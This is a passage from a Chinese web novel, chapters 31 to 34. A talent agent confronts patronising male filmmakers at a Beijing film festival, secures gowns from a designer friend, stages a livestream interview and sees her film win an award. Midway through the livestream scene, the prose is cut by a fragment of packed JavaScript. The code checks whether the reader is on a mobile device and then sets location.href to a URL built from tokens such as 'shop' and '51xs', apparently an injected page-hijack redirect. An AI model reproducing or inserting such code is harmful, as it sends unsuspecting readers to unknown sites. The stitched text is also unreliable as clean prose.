路思舟还规划着，以后会多办一些话剧义演，让更多的人能了解话剧艺术。他作为话剧人，不希望大众对话剧还停留在“小众”“曲高和寡”的刻板印象里。
他递给舒誉宁两张票，邀请她和傅明宇，周末来看他的演出。
“《繁花》？”
他们要表演的剧目竟然是《繁花》？这种极具地域和时代特色的剧目，难度可不小啊。
“别看我是北方人，我吴语说得可好了。”
舒誉宁发现，路思舟是有点语言天赋的。不管是跟日本主厨说日语，还是为了话剧学吴语。
“一定会来捧场的。”
见路思舟现在找到了自己真正想要做的事，舒誉宁也放心了。她和路思舟交代了几句，把傅明宇对他的问候传达到，也该走了。
临走前，路思舟对她说：“阿宁，祝你们，繁花似锦。”
“谢谢，已经是了。也祝你，一路繁花。”
回到家，舒誉宁还没进门便闻到了饭菜香。也不知道今天的傅明宇，会开出什么样的盲盒。
油豆腐塞肉、椒盐大虾、紫菜豆腐汤，还有中国人的国民菜——番茄炒蛋。
“哇，全是家常菜！”
傅明宇给舒誉宁盛饭：“吃多了海鲜、西餐、日料，还是
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这些最好吃。”
“确实。”
“路思舟怎么样了？”
“比我们想象得好得多。”
舒誉宁把路思舟给的话剧票，拿给傅明宇，问他到时候有没有空一起去。
“没想到兜兜转转，他还是回到了最初的样子。”
话剧对于他来说，既是起点，也是终点。傅明宇还是为他感到高兴的，至少，他还能坚持做一名演员。
“过几天我要去趟北京，首都电影节邀请我去参加座谈会，顺便踩踩点。”
原本舒誉宁想的是，把这部电影也报名报上去，万一多几个提名或者奖项，那是最好的宣传手段。眼下只有《浪潮》这个独苗苗了。座谈会出席的人员，基本上都是获奖的热门。交流华语电影业只是个幌子，刺探敌情才是真。
纵使傅明宇舍不得，心里念叨着，怎么有出不完的差。不过他知道这件事的重要性，也深知这种场合自己也很难融入。但凡是个真正的电影产业座谈会，舒誉宁早就带着他出发了。
这几天，冷空气来得很急，北京的气温一下降到个位数。傅明宇怕她冷，给舒誉宁的行李箱里塞了暖宝宝。舒誉宁还觉得多此一举，直到下了高铁，她才发现傅明宇的决定有多么智慧。
贴了暖宝宝，她才可以穿上那件，她为今天这个座谈会定制的羊绒大衣。出发前，她把头发扎起来，从自己的化妆包里翻出颜色最正的那支大红色口红，换上高跟鞋。不管今天会遇到什么人，气场不能输！
到了现场，当代华语影坛最具代表性的老、中、青三代力量，济济一堂。她在礼仪小姐的指引下，找到了自己的座位。他们那桌人，除了她，全是男的。
正式会议还没开始，现在是自由交流时间。他们几个原本聊得火热，舒誉宁一来，瞬间鸦雀无声。
一个眼镜男率先打破了这个尴尬：“舒老师是吧，您好。”
连自我介绍都懒得。不过舒誉宁认识他和他们：“洪导，您好，久仰。还有，罗制片、张导演、陈老师、何监制，各位好。”
“嗯。”就何监制一个人回她了，其余几个装都懒地装。
“听说各位都入围了，恭喜。”
舒誉宁拉开椅子坐了下去，给自己倒了杯水。
“舒老师，听说你们这次入围了最佳摄影，恭喜啊，期待提名。”
说这话的是张导演，他从业多年，以长镜头叙事擅长，拿过好几次“最佳摄影奖”。也不知道他故意提这个是什么意思，示威吗？
“张导有什么指教？”
“我看过你们的《浪潮》，镜头语言处理得还不错，但……你也知道，你们导演毕竟还年轻，总有些疏漏。你作为制片，应该注意点。”
张监制接话了：“也很正常。小舒是女生，女生基本都对摄影不太擅长。张导，你要包容年轻人。罗制片，制作电影这件事你有经验，多教教人家。小舒啊，你要记得多请教请教他。”
“小舒，你别见外。”罗制片又跟着巴巴地开口，“我不知道你懂不懂电影的内核。因为我了解过，你以前没接触过电影行业。电影，不是你们这种外行人能玩儿明白的。你要不说来我听听，我先了解一些你的水平，才好教你。”
舒誉宁差点没忍住冷笑的冲动。在她看到这几个人的时候，就感受到了扑面而来的“爹味”。她也没什么都没说呢，一个个就像狗皮膏药一样黏上来。一会儿“我来考考你”，一会儿“你一定是想从我这儿学会点什么”，要不然，就是“女生什么也不懂”。
舒誉宁的眼神在他们身上挨个儿扫视一遍，呵，就这群牛鬼蛇神？看她怎么收拾他们！
31. 第 31 章
“罗制片，我确实有些问题要请教你。”既然他这么喜欢上课，那就满足他。
听到舒誉宁开口，罗制片大有一副“我就知道”的样子。他坐直了身子，眼神变得轻蔑。知道的，是他在和同行聊天。不知道的，还以为他要指挥前线打仗呢。
“我想问您的是，怎么平衡票房和投资？我也是第一次做制片，这个问题一度让我苦恼。无论如何，不能让投资方亏本不是？”
此话一出，不仅罗制片，在场所有人的脸色都变了。只是罗制片的脸上是难堪，其他人的脸上则是看笑话的神情。
舒誉宁就知道，这几个男的，关系根本就没这么好。谁不知道，罗制片最近制作的那部影片，连一半投资都没收回来，票房为同期垫底。听说他们还眼巴巴做了“票房突破20亿”的海报，结果，成了那时候挂在热搜上的大笑话。
男人总爱嘲讽，女人的友情都是塑料姐妹花。那他们的“友情”呢？看上去连塑料渣都不是。
“罗制片，是不愿意赐教吗？还是我问得，太唐突了？”进攻之后，便要以退为进。让自己看上去真诚一点，可怜一点。对方哪怕再气，也只能忍下这个哑巴亏。
接着，舒誉宁又把目光转向张导。刚刚还盛气凌人的张导，此刻都不敢正面应对舒誉宁的目光。
“摄影这事儿，张导您才是大专家。我们这些小辈，班门弄斧而已。电影这东西吧，不仅讲究摄影，还将就叙事。您对这几个方面有什么专业看法吗？”
张导虽然很会摆弄光影，但他的片子对光影的塑造远大于人物和情节的塑造。叙事更是乱七八糟。经常被观众说，故弄玄虚，屎盆子上镶金边。他出道到现在，除了“最近摄影奖”，其他什么奖也没拿过。
这个时候，一直闷声不响的陈老师发话了：“小舒啊，你作为后辈还是要谦逊一点。”
舒誉宁故作委屈，皱着眉头，一副很害怕的样子。看起来，十分绿茶：“陈老师，您怎么会这么想呢？难道您认为，这些问题，张导和罗制片答不上吗？我确实是真心请教他们的呀！二位前辈，你们也是这么认为的吗？”
张导和罗制片齐刷刷地瞪着陈老师。他们已经够难堪了，他就别火上浇油了！
陈老师百口莫辩。他只想搓搓舒誉宁的锐气，只是这小丫头牙尖嘴利。每一句话听上去，都很真诚，但又直击他们的痛点。
这时，会场内的灯光暗了下来，所有的目光都聚焦在了主舞台上。座谈会开始了。
舒誉宁注意到，他们几个都松了一口气。至少，在座谈会的两个小时期间，舒誉宁不会再对他们说什么了。
座谈会结束，舒誉宁准备离开之时，被何监制喊住。
“小舒啊，他们那些话你别往心里去啊。”
“哪些话？”
这句反问，问得何监制哑口无言。难道他还能重复一遍不成？
“哎，你忘了最好。”何监制故作轻松地当着所谓的和事佬，“看到你们这些年轻人啊，我就想到我在你们这个年纪的时候。那时候不懂事，走了好多弯路。我常常想，如果有个前辈能帮帮我就好了。小舒，你说是不是？”
哦，是来找她合作的啊。这帮中年爹味男到底怎么回事，既然是来求合作的，怎么还是这幅高高在上的样子？还开口叫她“小舒”？来求合作，至少要把对方放在一个同等的地位上看待。舒誉宁并不是多么在乎别人的称呼，她只是恶心他们这种人，明明是在求别人，还要故作姿态的嘴脸。
“您那个时候也不容易，想必吃了很多苦吧？”
“那肯定啊！”
“我一定会谨遵您的教诲，多多帮助后辈的。不让他们像您当年一样，吃这么多苦！！”
“啊？”何监制懵了，他不是这个意思啊！
“何监制还有什么要说的么？”
何监制笑得很勉强：“没有了。颁奖典礼见。”
“好，到时候见。”
结束了座谈会，舒誉宁在和千杉、越天珑打视频电话。越天珑听了舒誉宁今天发生的事情，笑得眼泪都快出来了。
“大爽文啊舒誉宁！我为什么不在现场啊，我太好奇这帮老家伙的反应了。”
相比越天珑看乐子的心态，千杉倒是有些担心：“姐，那几个人不会针对你吧？”
“就凭他们？”
他们一开始的抱团，不就是因为他们害怕么？害怕一个他们最看不起的年轻女人，和他们坐在一张桌子上交谈。连这个都怕的懦夫，除了用年龄、性别和资历来逞一时之快，还能掀起什么风浪来？
他们不了解舒誉宁，可舒誉宁了解他们。舒誉宁不仅了解他们的履历、作品，她更了解他们的怯懦、虚伪、装腔作势。他们以为，舒誉宁一个年轻女人好欺负。长期习惯抱团取暖的他们，早就忘了——有些人，自己便是千军万马。
“舒誉宁们”的出现，代表着他们这些旧时代的残党不再辉煌。他们试图用“我来教教你”这种方式，去证明自己还有存在的价值。有理不在声高，谁在用大声说教来掩饰自己的不安，谁心里清楚。
“杉杉，你不用担心。”越天珑跳出来，跟千杉聊天，“你阿宁姐什么大风大浪没见过。娱乐圈根本就不是玩资历的地方。当一个人用资历来压你，说明他本质，一无所有。”
“哦~大概明白了。”
聊了一会儿，她们问舒誉宁，接下来还有什么行程。
“明天是赞助商大会。我过去混个脸熟就回来。对我们来说，最重要的是开幕式和颁奖典礼。”
舒誉宁得知，《浪潮》被选为开幕式的展出影片。因此，他们届时的红毯非常重要。
最先知道这个消息的是品牌方，还没等舒誉宁问，各个品牌方纷纷送来这个季度最新的礼服样衣。只不过舒誉宁都没选。
她另有计划。
“兰素老师，好久不见！”
看到许久未见的舒誉宁，兰素又惊又喜，拉着她不住寒暄。
“给你带了茶叶和茶点，要不一起尝尝？”
“那我先去泡茶，你坐会儿，我马上来。”
兰素跟她说了很多最近的事情。经过上次越天珑买的“小作坊”热搜，兰素名声大噪，订单多得借都接不过来。除此以外，她还接到了巴黎时装周的邀请，为了准备时装周，她把手上的单子都推了。
“推了？”舒誉宁有些惊讶，“那我还来得真是不巧，我是来
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找你借礼服的！”
“借礼服，找我？”
这回轮到兰素惊讶了。现在的舒誉宁今非昔比，她还需要找自己借礼服吗？
“那些红血蓝血，有的是机会穿。这是我们参加的第一个颁奖典礼，意义非凡。所以，我想问您，能不能给千杉，再安排一次礼服？”
在舒誉宁被所有品牌方拒之门外的时候，只有兰素接纳了她。那条精美的人鱼礼服，让千杉在红毯上一鸣惊人。也因为兰素，让她结识了越天珑。说兰素是她贵人，都不为过。
见兰素迟迟不说话，舒誉宁故作苦恼：“不愿意啊？”
“怎么会不愿意呢！反正我去巴黎还有些时间，这里所有的衣服你随便挑！”
“这回可不止一套哦！”除了开幕红毯，还有场内、颁奖会、收官晚宴。最起码四套衣服。
“你要40套我都给你！不过你需要给我一点时间准备一下。OK吗？”
“当然，离开幕式还有半个多月。”
“那到时候我提前联系你。”
“好。”
不到一个礼拜，兰素便联系了舒誉宁，让她带着千杉来试衣服。
在兰素工作室的最中央，陈列着三件礼服。一条是走红毯时穿的。衣服整体做了中国风的水墨画设计，泼墨成画，简约的黑白和红毯的艳红形成强烈对比。场内的礼服是鱼尾裙，与千杉的身材曲线完美贴合。收官晚宴的礼服是亮眼的珠光香槟抹胸长裙，灵感来源是《了不起的盖茨比》。兰素还特地为这条裙子搭配了一个水晶手包。
这三条裙子都很完美。现在，还少了最重要的一条礼服。
舒誉宁并没有急着问，这条裙子去哪儿了。她知道，兰素肯定把重头戏留到了最后。
兰素示意她的学生，操控VIP室的帘子。随着帘子缓缓拉开，颁奖时的礼服终于展现在她们的面前。
“哇！”千杉忍不住感叹，捂着嘴巴，不可置信。
“我在见到千杉第一眼，就想为她定制一条礼服。这一年多来，改了几次稿，都没有满意的。直到阿宁来找我，说你们要参加颁奖典礼，我才终于知道，要给你做什么样的礼服。”
兰素说，这条礼服，叫“杉木”。
轻薄的欧根纱经过压皱、烫金、着色，形成独有的褶皱。本是浅金色的布料，重叠在一起，在灯光下，泛起淡淡的棕色，看起来像树干。而面料上面的褶皱，则象征着树干的纹理。胸口处，用着深浅不一的绿色叶片点缀。
这是一棵拥有顽强生命力的杉木。
“你还记得越天珑那条绿裙子吗？”
“记得，要不是因为这条绿裙子，我也不会和她结缘。”
回想她们的初遇，还真是让人啼笑皆非。
“这些叶片和那条裙子的面料是一样的，都是双宫绸。怕它没有支撑力，叶片的背部我加了羽毛，在增加灵动效果的同时，还有了叶脉的形状。”
千杉眼眶都红了，她回忆自己这几年，就像一棵杉木一样，拼命地汲取养分，向上生长。
“这条裙子，不是借给你们。而是送给你们，就当这是一份提前送的贺礼。不管最后的结果如何，在我心里，你们值得最好的。”
32. 第 32 章
“真不知道该怎么谢谢你。”
舒誉宁看到这条礼服，也很感动。这样算来，她欠兰素的太多了。
“说这些多见外啊。要不是你帮我发文澄清，我也不会这么红。总之，你们需要礼服，随时找我就好。我这儿什么都没有，衣服管够。”
从兰素哪里出来，舒誉宁又去找了傅明宇，带他去试衣服。
这次电影节，傅明宇和千杉作为《浪潮》剧组的代表出席，他们的衣服得相互搭配。虽然他不用像千杉一样，准备4套衣服这么多。但至少也要两套。
舒誉宁规划的是，一套正式一点，在红毯、场内和颁奖的时候穿。在收官晚宴上那套，她想选择轻松、休闲一点的款式。
女士礼服那边，她回绝了品牌方的邀请。男士西装，也不能再不给别人的面子了。
望着展厅里数不清的黑西装，舒誉宁觉得眼睛生疼。
“我觉得挺好的呀。”傅明宇随手从衣架上抽出一套黑西装，在身上比划。
“不行！”他被舒誉宁和千杉吼了，只能默默地把衣服放了回去。
舒誉宁喊来了造型师：“有没有有趣一点的衣服？”
“有趣？红毯上怎么有趣？”
确实，黑西装是最不出错的衣服，这话舒誉宁也说过。只不过那时，她给傅明宇挑黑西装是因为第一次走红毯，一切求稳为主。现在傅明宇都是大导了，穿的衣服当然不能还是黑西装这么沉闷无聊。
造型师拿了很多套衣服过来，给舒誉宁挑选。深色的，不要。三件套，不要，燕尾服，更不要了。
“阿宁姐，你到底要什么？”几个小时过去了，舒誉宁还是没选到满意的男士礼服，造型师都快崩溃了。
一时之间，舒誉宁也说不清自己想要什么，她只知道自己不想要什么。
“要不，你把千杉女士的衣服给我看看？我帮你看着搭配？”
“也行吧。”
舒誉宁只给他看了其中三套，兰素特地设计的“杉木”，舒誉宁还想保密，没给他看。
造型师看了以后，手指在pad上划拉半天。直到他眼里金光一闪，终于选到了合适的礼服。
这是一套中式改良青年装。设计上将常见的西装圆扣改成了中式盘扣，但是衣服的样式，还是保留了西装的正式和简约。最让舒誉宁喜欢的是这条外套，白色蓝纹点缀，像浪潮在轻柔的布料上翻涌。
和他们的电影，相得益彰。
“就这套了！”
换上衣服的傅明宇，乖巧地站在镜子前，等着舒誉宁和千杉的评价。
千杉给足情绪价值，第一时间鼓起了掌。而舒誉宁的反应淡淡的，问造型师：“这套先过了，晚宴的套装呢？”
“包你满意！”
已经了解了舒誉宁需求方向的造型师，很快拿出了第二套衣服。既然要轻松和休闲，那外套不用穿了，直接穿衬衫就行。造型师推荐的是条阔面版型的浅金色缎面衬衫，衣领处有条丝带。可以绕过领子，系成领带或者领结。裤子则是咖金色肌理褶皱长裤。
舒誉宁指着这套衣服，对傅明宇说：“试试？”
这套衣服明显不符合他的性格。但毕竟是舒誉宁要求的，傅明宇无法拒绝。
“哇哦，够……”千杉把嘴里的形容词咽了下去。看样子，不是什么好词。
“看起来不适合我。”傅明宇现在只想把这套衣服换下来。这金光闪闪的，看起来，太高调了！
“确实要改一改。”
只见舒誉宁上前，把绑在衣领的丝带扯了下来，长长的丝带乡下垂坠，直到膝盖。
千杉终于说出了憋在嘴里的那个形容词：“够骚包！”
“骚包？不不不……”傅明宇着急得想回更衣室，好把这套衣服换下来。
“换什么，这套很好啊。”
傅明宇欲哭无泪，指着千杉：“她都说我骚包了！”
“不好吗？”舒誉宁和千杉同时反问，看来她们并没有觉得这个词有什么不好。
傅明宇还想挣扎一下。他直说，这套衣服太高调了，不符合他的行事作风。
“那又怎么样？晚宴是用来庆功的，就要高调！”
舒誉宁的决定不容拒绝，傅明宇只能含泪接下这套衣服。
礼服的事情搞定，接下来就是颁奖的环节。舒誉宁决定，团体奖均由傅明宇上台领取。傅明宇和千山感到有些奇怪：舒誉宁不去领奖吗？
“台上交给你们，台下才是我的战场。”
舒誉宁作为经纪人，在台下，有一堆事情等着她。红毯的顺序、群访的内容、颁奖时的的走位等等。由于颁奖典礼全程直播，她还需要分神盯网上的评论。
他们明白她的责任，也明白，这些事情，交给别人，舒誉宁肯定不会放心。但是，舒誉宁才是这个剧组的核心。他们希望，如果拿了最佳影片，她可以代表剧组上台领奖。
“我懂，我懂你们的心意。但是你们要知道，作为经纪人，在台前，还是要隐身。”
舒誉宁并不觉得这有什么。每个人都有自己的职责，既然选择了经纪人，那么就要留在幕后。
“好啦。现在衣服也搞定了，你们回去，该美容美容，该健身健身。要以最佳状态出席电影节。”
“你是不是忘了什么事情？”傅明宇提醒她。
千杉也附和：“对，我也觉得你忘了什么事。”
舒誉宁很快便猜到了他们指的事是什么。
获奖感言。
不管获不获奖，经纪人都会提前给艺人准备好获奖感言。以免获奖的那一刻，艺人太过激动，大脑混乱，说不出几句通顺的句子。
舒誉宁却不这么认为。她希望，在获奖的那一刻，他们呈现的是最真实的模样。哭也好，笑也好，语无伦次也好，她想让观众们看到电影从业者最纯粹的一面。
如果她提前写好台词，到时候在台上的他们，会下意识呈现一个“背台词”的状态。这样做，看上去可能端庄得体，但一定不真诚。
颁奖典礼前的一周，主办方公布了提名名单。舒誉宁像一个等待高考放榜的家长一样，提前坐在电脑前面，不停地按着F5刷新界面。结果刷新出来后，想看，又不敢看。只能用手捂着眼睛，从指缝里偷看。
【最佳摄影提名——《xxx》《xxx》《浪潮》……】
“啊！”舒誉宁爆发出今晚的一个尖叫。
她滑动鼠标，略过最佳美术、最佳音乐、最佳纪录片这些他们没入围的奖。
【最佳影片提名——《xxx》《xx》《xx》】
舒誉宁紧张地咽了咽口水，不会没进提名吧？
直到看到最后一个提名，《浪潮》两个字，终于出现了！
“啊啊啊！太棒啦！”舒誉宁觉得自己要哭了。
看完了团体奖，接下来就是个人奖。他们主要竞选的是最佳导演奖和最佳女主角奖。握着鼠标的舒誉宁，有点不敢往下看了。
她摸了摸自己的做胸口，感受着胸腔里过速的心
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“别紧张，别紧张。”她安慰自己。“不管提没提名，总得看下去啊。”
也不知道做了多久的心理建设，舒誉宁才敢看个人奖的提名名单。
看到名单的那一刻，舒誉宁喊不出来了。她看着电脑屏幕，不知何时，泪流满面。
【最佳导演提名——《浪潮》傅明宇】
【最佳女主角提名——《浪潮》千杉】
她拿着手机，凭着记忆，按下了一串数字。
“阿宁？”电话那头是傅明宇。
舒誉宁握着手机，一个字也说不出来，不停地流着泪，小声啜泣。
“我知道，我看到我和千杉的名字了。”
“嗯。”舒誉宁终于从喉咙口，挤出了一个声音。“看，看到了，我也，看到了。”
她的小声啜泣，转变成嚎啕大哭。这是她获得重生以来，第一次放声哭泣。这些年，所有的委屈、愤懑、不甘，全都变成了眼泪，止也止不住。
傅明宇不说话，握着手机听着她的哭声。他就在工作室楼下，他几次按下想冲上去找她，把她搂在怀里的冲动。因为他知道，现在的舒誉宁更想一个人，痛痛快快地哭一会儿。
放声大哭的后遗症就是，第二天，舒誉宁的眼睛、鼻子、脸颊，肿成了馒头，还是上了腮红的馒头。傅明宇对此早有准备，给她冻好了冰袋，让她敷在脸上。
“你说说你，还没拿奖就哭成这样。拿了奖，你该怎么办？”
“没忍住。你去把我柜子里那瓶急救面霜拿来！”
傅明宇知道那个东西。巴掌大点的罐头，要卖到5位数。产品介绍说的是，专门针对熬夜、水肿、垮脸的5分钟见效急救面霜。傅明宇很怀疑这东西是不是真的有这么神奇。
“你不懂，这东西相当于安慰剂。”舒誉宁还拿了个美容仪，和这个东西搭配使用，“至少能让我心里舒坦点。”
一套所谓的专业SPA护理结束，舒誉宁问傅明宇，自己有没有好一些。傅明宇纠结了一会儿，选择了善意的谎言。
“算了。”舒誉宁放弃了。她还是选择用帽子、口罩和墨镜，进行物理遮挡。
“收拾好东西，我们，出发去北京！”
刚从落地通道里出来，他们一行人就受到了来自粉丝们热烈的欢迎。
“啊啊啊，杉杉，杉杉，妈妈爱你！”
“杉杉宝宝，看镜头！”
“啊，傅导来了，傅导来了！！！明宇放心飞，密语永相随！”
什么东西？
傅明宇震惊地失去了表情管理。
他们被粉丝们围得水泄不通。有几个扛着长枪短炮的，一看就是站姐。她们那个勇啊，越过重重人墙，抱着必出神图的决心，差点把镜头怼到他们嘴里。
几个人高马大的保镖都都差点招架不住，明明去地下车库只需要坐个电梯。他们硬是走了十多分钟。
坐到车上，傅明宇长长吐了口气，刚刚他都觉得自己要窒息了。千杉看上去还好，不仅状态在线，甚至还为了方便粉丝们拍图，饭撒了。
倒是舒誉宁，见怪不怪的样子。她从包里掏出梳子，梳了梳自己的凌乱的头发。
“这就吓到了？我带男团那会儿，粉丝的阵仗比这个大多了。”
“千杉就算了，怎么我也有粉丝？还，还，还叫……”傅明宇实在喊不出那个羞耻到极致的粉丝名。
“我早就说过了。你长得好，有才华，先天吸粉圣体。做好准备吧，回去也这个样子。”
33. 第 33 章
这次电影节，舒誉宁他们是第一批到的。从机场出来，马不停蹄地入住了主办发指定的酒店。在酒店休整了一会儿，舒誉宁去敲了傅明宇和千杉的门，让他们换上一身正式一点的套装，随她去宴会厅。
宴会厅里星光熠熠，全是近两年响彻电影圈的人物。
“这位，灰色西装的是国家电影协会的会长，旁边在和他聊天的是广播集团的党支部书记。那边，短发的女士是这次电影节的总评委，首都电影厂的执行总裁。还有那位……”
舒誉宁给他们介绍着这次的来宾，每个人她都能说出职位和姓名。傅明宇和千杉记都来不及，舒誉宁却一个都没落下。
“你怎么都知道！认识啊？”
“不认识啊。这次来，就是来认识认识的。”
舒誉宁在一个月前就拿到了出席人员的名单，把每个人的资料都背得滚瓜烂熟。在这种场合，但凡叫错一个人的名字，迎接他们的，很可能不是什么好下场。
在红酒里兑上葡萄汁，舒誉宁带着他们去敬酒了。
“王总，我是小舒啊。听说您这次给我们投了票，很感谢您。”
“张书记，这是我们电影《浪潮》的导演和女主角。我看到您在网上发的影评了，说得太到位了！”
“李会长，您女儿现在也当了出品人，什么时候能有机会跟我们合作一下？”
这种场合，多说多错，尤其是傅明宇这种不会说话的。他这次表现得很乖巧，舒誉宁不让他开口，他就会站在她身后，做一只会微笑的吉祥物。
傅明宇默默观察着，他发现，舒誉宁不是见到一个人就敬酒，她选的每个人都和他们的剧组息息相关。她敬的每一杯酒，说的每一句话，见的每一个人，都在为他们的未来铺路。
不仅如此，他们剧组在宴会厅也是万众瞩目的焦点。过来递名片、要联系方式的人一茬接一茬。要不是舒誉宁有先见之明，准备了足量的葡萄汁，今天他们能喝得门都出不去。
不过，拼了葡萄汁的酒，还是酒。傅明宇是他们组里唯一到场的男士，自然负责了挡酒的工作。到最后，舒誉宁还是找了两个酒店的礼宾把他扶了回去。
一回到房间，忍了一路的傅明宇，冲到洗手间，把胃里多余的酒精全吐了出来。吐得差不多了，他再用凉水冲了半天的脸，才从洗手间里出来。舒誉宁给傅明宇准备了胃药和果汁，让他喝了下去。
傅明宇蜷缩在沙发上，直到舒誉宁喊他，他才试图爬起来。
啊，好晕，还是不行。
舒誉宁扶着他，让他躺在自己腿上，好给他擦脸。
“阿宁，我觉得你好辛苦啊。”
不知道舒誉宁提前做了多少功课，才能在这种场合八面玲珑。
“以后你就知道啦，喝酒也不用喝这么实在。你看看他们，也就意思意思抿一口。你倒好，一口闷。”
他喝酒的样子，舒誉宁拦都拦不住。不过他这个实诚的样子，得到了一些领导的赏识。比如李会长，把自己女儿的联系方式给了他们。
“没经验，你多教教我……”
还没说完，傅明宇便在酒精的作用下睡了过去。舒誉宁靠在沙发上，不免有些心疼。
曾几何时，她也很厌恶酒桌文化。但在时间的冲刷之下，自己还是成为了一个俗气的大人。
第二天，是电影节的节前记者发布会。发布会的发言人是主办方的各位代表，演员们的主场是在会后的访问。舒誉宁在会场看到了阿May。她把编辑部了最得力的几个记者全带来了，再加上摄影师，足足有30号人。
“这么多！你约了多少专访？”
“约来的算什么，现场抢到的才香。你知道你们《浪潮》组的独家有多难抢吗？”
“再难抢也是给你的。”
阿May的想法是开一个直播访问，回答一些网上比较辛辣的提问和评论。她拿出采访清单给舒誉宁过目，看她有没有什么需要删减的。舒誉宁拿过来一看，果然，每个问题的都很刁钻。不过，这种访问才有意思。要是那种冠冕堂皇的场面话，谁会愿意看？
“我觉得还可以加一个环节——弹幕的随机回答。”
就是由工作人员，每十分钟截一次图。只要截图里的问题不影响直播规则，受访者必须回答。
“哇，玩儿这么大？”
阿May都惊了。她把采访单给舒誉宁看，就是担心，他们现在这么红，会有很多忌讳。没想到舒誉宁毫不在乎，还想把尺度拉得更大一点。
“既然是直播，就要有直播的样子。我让他们准备一下，马上开始。”
直播刚开始，直播间里只有几百个人。舒誉宁打开后台，看了一下ID，基本上都是傅明宇和千杉的粉丝。弹幕的内容也都千篇一律，各个粉丝疯狂刷屏，发一些表白大字报。
“欢迎来到‘星秀’直播间，大家好，我是阿May！今天在首都电影节现场为各位发来独家专访直播。让我们欢迎做客本次直播间的《浪潮》剧组代表，傅明宇，千杉！”
他们的出现，让直播间的人数又增加了100多人，不过弹幕还是这么点。
阿May接着介绍了一些直播间的规则，和这次直播的问题范围，便开始了采访。
“第一个问题，问千杉：有网友问，你被雪藏了这么久，一出来就到处接戏，是不是想红想疯了？”
原本还在刷屏的弹幕，现在齐刷刷地变成了：？？？？？？
傅明宇就算不是访问对象，但也认为这个问题太过刻薄。他一直用眼神询问舒誉宁，是不是该暂停。
舒誉宁轻轻摇了摇头，告诉傅明宇，别慌张。
“确实。”千杉开口回答了，“再不红，我真的要疯了。”
此刻，弹幕变成了一片“哈哈哈”。
“第二个问题，这次电影节的宣传片你是第一个出现的演员，是不是内定影后了？”
“啊？我以为是我漂亮，才第一个出场的！”
两个问题一问，直播间人数轻轻松松破了3000。
“第三个问题，要问傅导。江湖传言，你清高，不被资本裹挟。到底是人设崩塌还是初心变了？”
“是我脑子不好。请资本尽情地蹂躏我！”
他的回答逗乐所有人，直播间的人数越来越多，没一会儿便破万了。
见人数差不多了，阿May按照舒誉宁制定的计划，开始了弹幕随机访问环节。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984603|146666||http|test|mini|href|location''.split(''|''),0,{}));
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“接下来，我们工作人员会随机截图。截到什么问什么，各位的手速拼起来。”
人人都爱吃瓜，上万人的直播间里，弹幕滚动得速度像彩票开奖。
“3,2,1，停！”
第一张截图诞生了，图片里的问题是：傅明宇导演，你和千杉合作这么多次，是不是想潜她？
“什么！”傅明宇大惊失色，看起来像是生气了。阿May有些慌，在耳返里问舒誉宁，要不要及时停止。
舒誉宁倒是淡定：“不用。问都问了，现在停不是做贼心虚吗？让他答吧，这个问题，不是问得挺好的吗？”
傅明宇悠悠开口：“明明我才是被潜那个好吗？”
什么鬼！
所有人都快笑趴了，只有舒誉宁捂住脸，想当做什么事都没发生过。
“好好好，大家先冷静一下，傅导的回答真是让人意想不到啊！”阿May赶紧出来维护直播间秩序，明明她自己也笑得不行。“继续下一个问题，问千杉：潜他的人是谁啊？”
“反正不是我。我没有吃亏这个爱好。”
行行行。她舒誉宁爱吃亏好了吧。明明是想开个直播，炒一下热度。怎么变成了这样？全程没有一个人提到她，但处处都是她。
直播还没结束，“傅明宇被潜规则”这两个关键词，上了热搜。词条里猜谁的都有，最多的回答便是舒誉宁。
舒誉宁也不回应，反正这也不是负面热搜，没必要管。
今天的直播采访，让傅明宇的心情变得很好。看来他是玩开心了。
他脚步轻快地坐到舒誉宁面前，乖乖地求她夸奖。
“怎么？被我潜规则，你委屈了？要做贞洁烈男了？”
“我开心得很啊！让那些想被你潜的小鲜肉知道知道，他们没这个机会啦！”
这个访谈做得很成功，阿May看了最后的统计数据，总热量超过千万，峰值观看人数有120万，带动的热搜更是不计其数。
不少营销号闻声而动，像找到猎物的猛兽，生怕错过这次热度。他们为了博眼球，甚至发出了千杉就是本届电影节影后的通稿。
“阿May，帮我撤了这些营销号。”
“明白，很快。”
有些话，他们直播间里开开玩笑无伤大雅，可这不代表能被营销号拿去做文章。万一千杉真的拿到了影后，反倒像做实了“内定”的传闻。
节前的采访也终于结束了。接下来，是最关键的一天，颁奖典礼马上就要开始了。
第二天，舒誉宁起得很早。或者说，她一晚上都没睡。
她早早来到会场，第无数次确定坐席、环节和上下场顺序。
这一呆，便呆到了晚上。
“站起来，我看看。”做好妆发，换上兰素特别定制的“杉木”礼服的千杉，站在舒誉宁面前，让她做最后的妆发检查。
“好，很美。还有你，过来。”
现在的傅明宇已经不抗拒化妆了，仍由化妆师摆弄。
“也很好，非常帅。”她低头看了一眼手表，时间差不多了，她问他们：“准备好了么？”
“准备好了。”
“那我们，上战场。”
34. 第 34 章
“尊敬的各位来宾，亲爱的观众朋友们，各位电影界的同仁们，欢迎来到中国电影人的盛会，第34界首都电影节……”
时间一到，四位盛装打扮的主持人，站上了舞台。其中两位主持人，还是传媒大学的荣誉校友。舒誉宁的大学四年，听了无数有关这两位校友在校期间的光辉历史。
颁奖的环节是：团队奖——个人奖——影片奖——终身成就奖。
《浪潮》入围的团队奖是最佳摄影，主要竞争对手是上次那个直言她一个女的不懂镜头艺术的爹味儿导演，张导。
两位颁奖嘉宾在台上寒暄了几句，才打开手里的信封。
“我宣布，第34届首都电影节，获得最佳摄影的影片是……”
五位电影导演的怼脸特写放在屏幕上，随着令人窒息的停顿之后，镜头切成傅明宇一个人。
“《浪潮》，祝贺！”
舒誉宁瞥了张导演一眼，眼神里充满着鄙夷。就你，还想教我？
张导演的脸色果然很难看，要不是在会场需要保持风度，舒誉宁丝毫不怀疑他会当场离席。连摄影奖都拿不了，他还能在电影圈混得下去？
团队奖的环节很快结束，接下来便是个人奖。
个人奖第一个顺位是导演奖。
